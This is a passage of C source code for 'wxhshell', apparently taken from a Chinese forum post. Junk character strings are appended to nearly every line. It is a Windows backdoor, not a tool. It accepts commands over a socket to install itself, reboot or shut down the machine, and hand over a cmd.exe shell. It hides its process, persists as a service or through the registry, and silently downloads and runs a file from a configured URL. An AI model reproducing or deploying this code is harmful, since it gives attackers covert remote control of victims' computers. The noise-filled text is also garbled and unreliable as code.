  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w/HGmVa  
  } :K_JY   
  else { /xRPQ|  
`P<m`*  
    switch(cmd[0]) { Yj^n4G(h  
  ^g2p!7  
  // 帮助 VZ8HnNAbX  
  case '?': { wA<#E6^vG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); niV=Ijt{5  
    break; fu95-)M  
  } 0@ 9em~  
  // 安装 64OgE!  
  case 'i': { Vee`q.  
    if(Install()) D=nuK25  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'WG%O7s.  
    else 4X2/n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Xg@,?Zr  
    break; Dh|8$(Jt  
    } =@>[  
  // 卸载 XZeZqBr  
  case 'r': { Td5;bg6Qy  
    if(Uninstall()) VL/%D*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fK|F`F2V  
    else *gC6yQ2?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6A]Ia4PL  
    break; I2=?H <  
    } r9@Q="J_)  
  // 显示 wxhshell 所在路径 GJY7vS^#  
  case 'p': { ?B2 T'}~  
    char svExeFile[MAX_PATH]; ^\uj&K6l  
    strcpy(svExeFile,"\n\r"); <tbsQ3  
      strcat(svExeFile,ExeFile); *@r)3  
        send(wsh,svExeFile,strlen(svExeFile),0); )MZQ\8,)]  
    break; fr%}|7  
    } Z\d7dbv  
  // 重启 MhZT<6  
  case 'b': { Ncu\;K\N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0 ej!!WP  
    if(Boot(REBOOT)) {Ah\-{]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r~uWr'}a}  
    else { )0P>o]fWI  
    closesocket(wsh); .h2K$(/  
    ExitThread(0); WX} "Pj/6  
    } 47xJ(yO  
    break; ~'e/lX9g-  
    } sSC yjS'T  
  // 关机 c"3 a,&  
  case 'd': { fRe$}KX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0k5;Qf6A  
    if(Boot(SHUTDOWN)) sW B;?7P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )} y1  
    else { eXI^9uH  
    closesocket(wsh); ?+S&`%?  
    ExitThread(0); E+AEV`-  
    } >uuP@j  
    break; 37wm[ Z  
    } Z;aQ/ n[`  
  // 获取shell ;Bo{.916  
  case 's': { `n]y"rj'  
    CmdShell(wsh); 88 *K  
    closesocket(wsh); QUp()B1  
    ExitThread(0); xoD5z<<  
    break; 6<+R55  
  } Oc;0*v[I  
  // 退出 n)w@\ Uy c  
  case 'x': { 3 [lF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y_$=Pu6H  
    CloseIt(wsh); 9qe6hF/29  
    break; x)wIGo  
    } XX5 ):1  
  // 离开 sH(AsKiNKe  
  case 'q': { >WMH.5p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kEtYuf^  
    closesocket(wsh); Lnnl++8Y  
    WSACleanup(); iq '3.-xYr  
    exit(1);  '._8  
    break; Yz0ruhEMk  
        } !Re/W ykY  
  } ,>n 4 `A  
  } z)'dDM D"  
hSc$Sa8  
  // 提示信息 b<qv /t)$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ysfR@ sH7  
} w8*+l0  
  } 1%|+yu1  
^{["]!f#  
  return; Pq~"`-h7:  
} &%`IPhbT  
6>)]7(B<d  
// shell模块句柄 YBN. waL  
int CmdShell(SOCKET sock) pO$`(+q[  
{ .  \ *Z:  
STARTUPINFO si; kDJ5x8Q#  
ZeroMemory(&si,sizeof(si)); t$8f:*6(*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _cx}e!BK#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 12aAO|]/~  
PROCESS_INFORMATION ProcessInfo; >~I~!i3  
char cmdline[]="cmd";  gM20n^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2As 4}  
  return 0; W|3XD-v@  
} J4h7] qt  
`,4"[6S  
// 自身启动模式 . zv F!!z  
int StartFromService(void) 3uCC_Am  
{ ZGa>^k[:  
typedef struct \pB"R$YZ6  
{ ?'p`Qv  
  DWORD ExitStatus; 9 kzytx  
  DWORD PebBaseAddress; )'xTDi  
  DWORD AffinityMask; _d&zHlc_  
  DWORD BasePriority; K Ii Vz<  
  ULONG UniqueProcessId; OB8fFd  
  ULONG InheritedFromUniqueProcessId; nbMnqkNb  
}   PROCESS_BASIC_INFORMATION; VcT(n7  
{j[[E/8N!y  
PROCNTQSIP NtQueryInformationProcess; g.X?wyg5  
$BG4M?Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y@'8vOh`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {IJV(%E   
+/7UM x1  
  HANDLE             hProcess; {%@zQ|OO0  
  PROCESS_BASIC_INFORMATION pbi; T{bM/?g  
;Yyg(Ex  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Rk56H  
  if(NULL == hInst ) return 0; f .rz2)o  
;RW!l pGjP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Mi9A%ZmP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bV&/)eqv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a_m P$4T  
4s~Y qP{K  
  if (!NtQueryInformationProcess) return 0; IP$^)t[  
~" B0P>7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ot(U_rJCi  
  if(!hProcess) return 0; BV$lMLD{r  
qi h7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cUaLv1:HI  
R~CQ=KQ.  
  CloseHandle(hProcess); {*As-Y:'F  
I 6a{'c(P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {QTfD~z^K  
if(hProcess==NULL) return 0; ^Qrdh0j  
*nluK  
HMODULE hMod; x SF#ys4v  
char procName[255]; eHi|_3A&*  
unsigned long cbNeeded; mKtZ@r)u  
(tP>z+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .GM&]Hb  
x:O?Fj  
  CloseHandle(hProcess); .t4IR =Z  
z)=D&\HX  
if(strstr(procName,"services")) return 1; // 以服务启动 /OK.n3Tt  
R:x4j#(  
  return 0; // 注册表启动 G6_Kid}"q  
} K7Kd{9-2  
` #A&v  
// 主模块 3 zp)!QJi  
int StartWxhshell(LPSTR lpCmdLine) K!"[,=u_  
{ b-U LoV  
  SOCKET wsl; {7[^L1  
BOOL val=TRUE; S3i%7f^C?N  
  int port=0; EQ8jxr<p  
  struct sockaddr_in door; WZ'8{XY8  
@a)@1:=Rm  
  if(wscfg.ws_autoins) Install(); kYl$V =  
mfQQ<Q@  
port=atoi(lpCmdLine); 2I(0EBW  
,Ww)>O+  
if(port<=0) port=wscfg.ws_port; nM34zVy  
OljUK,I]  
  WSADATA data; muo(bR8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bdk"7N  
vUR{!`14  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^q_0(Vf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1]aM)},  
  door.sin_family = AF_INET; mQtGE[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }k.-xaj  
  door.sin_port = htons(port); LpeQx\  
l|^p;z: d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9XX&~GW/  
closesocket(wsl); \/la`D  
return 1; rXuhd [!(P  
} vr/V_  
:"g^y6i  
  if(listen(wsl,2) == INVALID_SOCKET) { XU5/7 .  
closesocket(wsl); mS6 #\'Qa  
return 1; ~tn*y4uK  
} N\l\ M  
  Wxhshell(wsl); _N$3c<dY'  
  WSACleanup(); z 3fS+x:E{  
.slA }  
return 0; b/5?)!I  
j1*'yvGM  
} AcyiP   
6A;V[3  
// 以NT服务方式启动 HsGXb\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #Z)e]4{!l  
{ m{x[q  
DWORD   status = 0; RZ:Yu  
  DWORD   specificError = 0xfffffff; h^D? G2O  
M9HM:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _,"T;i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'U.)f@L#w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <w` R ;  
  serviceStatus.dwWin32ExitCode     = 0; !JzM<hyg3  
  serviceStatus.dwServiceSpecificExitCode = 0; fchsn*R%-  
  serviceStatus.dwCheckPoint       = 0; n@XI$>B  
  serviceStatus.dwWaitHint       = 0; B^P)(Nu+  
UX;?~X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VUxuX5B3M  
  if (hServiceStatusHandle==0) return; ZZ?0%9  
E?z3 D*U  
status = GetLastError(); F$ShhZgi  
  if (status!=NO_ERROR) V$VqYy9 *  
{ ?>cx; "xF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LdwWB `L  
    serviceStatus.dwCheckPoint       = 0; I?uU }NK  
    serviceStatus.dwWaitHint       = 0; %%)"W n#`  
    serviceStatus.dwWin32ExitCode     = status; >0DQ<@ot:  
    serviceStatus.dwServiceSpecificExitCode = specificError; t,#7F$t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jOa . h  
    return; ^=.R#zrc  
  } /17Qhex  
E^rKS&P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :f G5?])  
  serviceStatus.dwCheckPoint       = 0; H<#M)8  
  serviceStatus.dwWaitHint       = 0; bGOOC?[UX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /W1!mih  
} ,dhJ\cQ~  
L15?\|':Y  
// 处理NT服务事件,比如:启动、停止 nICc}U?k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B>rz<bPT  
{ r@ujE,D=k  
switch(fdwControl) #<s6L"Z-  
{ 2 -72 8  
case SERVICE_CONTROL_STOP: ukpbx;O:hc  
  serviceStatus.dwWin32ExitCode = 0; [Ul"I-K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H C(Vu  
  serviceStatus.dwCheckPoint   = 0; C-E~z{  
  serviceStatus.dwWaitHint     = 0; )' +" y~  
  { 83K)j"!<X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Gop-Vi/~  
  } 0uV3J  
  return; ^ gMoW  
case SERVICE_CONTROL_PAUSE: #%O|P&rA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z/!LC;(  
  break; (hNTr(z  
case SERVICE_CONTROL_CONTINUE: `qnp   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G d~ v _  
  break; %c"PMTq(  
case SERVICE_CONTROL_INTERROGATE: 7rQwn2XD{  
  break; Swz{5 J2C  
}; 0b6jGa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G2qv)7{l2  
} O42`Z9oK  
iGB1f*K%x  
// 标准应用程序主函数 *;t\!XDgp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0`c|ZzY  
{ VK*Dm:G0  
waI?X2  
// 获取操作系统版本 [p3{d\=*?  
OsIsNt=GetOsVer(); uP, iGA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /Cy4]1dw  
mSLA4[4{  
  // 从命令行安装 B|pO2d e  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5;'(^z-bL  
VzfaUAIZl  
  // 下载执行文件 h ` qlI1]  
if(wscfg.ws_downexe) { fh_+M"Y0`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'yxN1JF  
  WinExec(wscfg.ws_filenam,SW_HIDE); H3-(.l[!b)  
} 0DtewN{Z  
EyR~VKbJ'  
if(!OsIsNt) { W[c[ulY&  
// 如果时win9x,隐藏进程并且设置为注册表启动 c?5?TJpm  
HideProc(); @<kY,ox@~  
StartWxhshell(lpCmdLine); LNp{lC  
} g)$/'RB  
else JguPXHa0  
  if(StartFromService()) aItQ(+y  
  // 以服务方式启动 #1*#3p9UL  
  StartServiceCtrlDispatcher(DispatchTable); [wU e"{  
else ,ZGU\t  
  // 普通方式启动 Hb}O/G$a*  
  StartWxhshell(lpCmdLine); fF6bEJl3  
RO+ jVY~H-  
return 0; Ov8^6O  
}
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只看该作者 1 发表于: 2006-10-10
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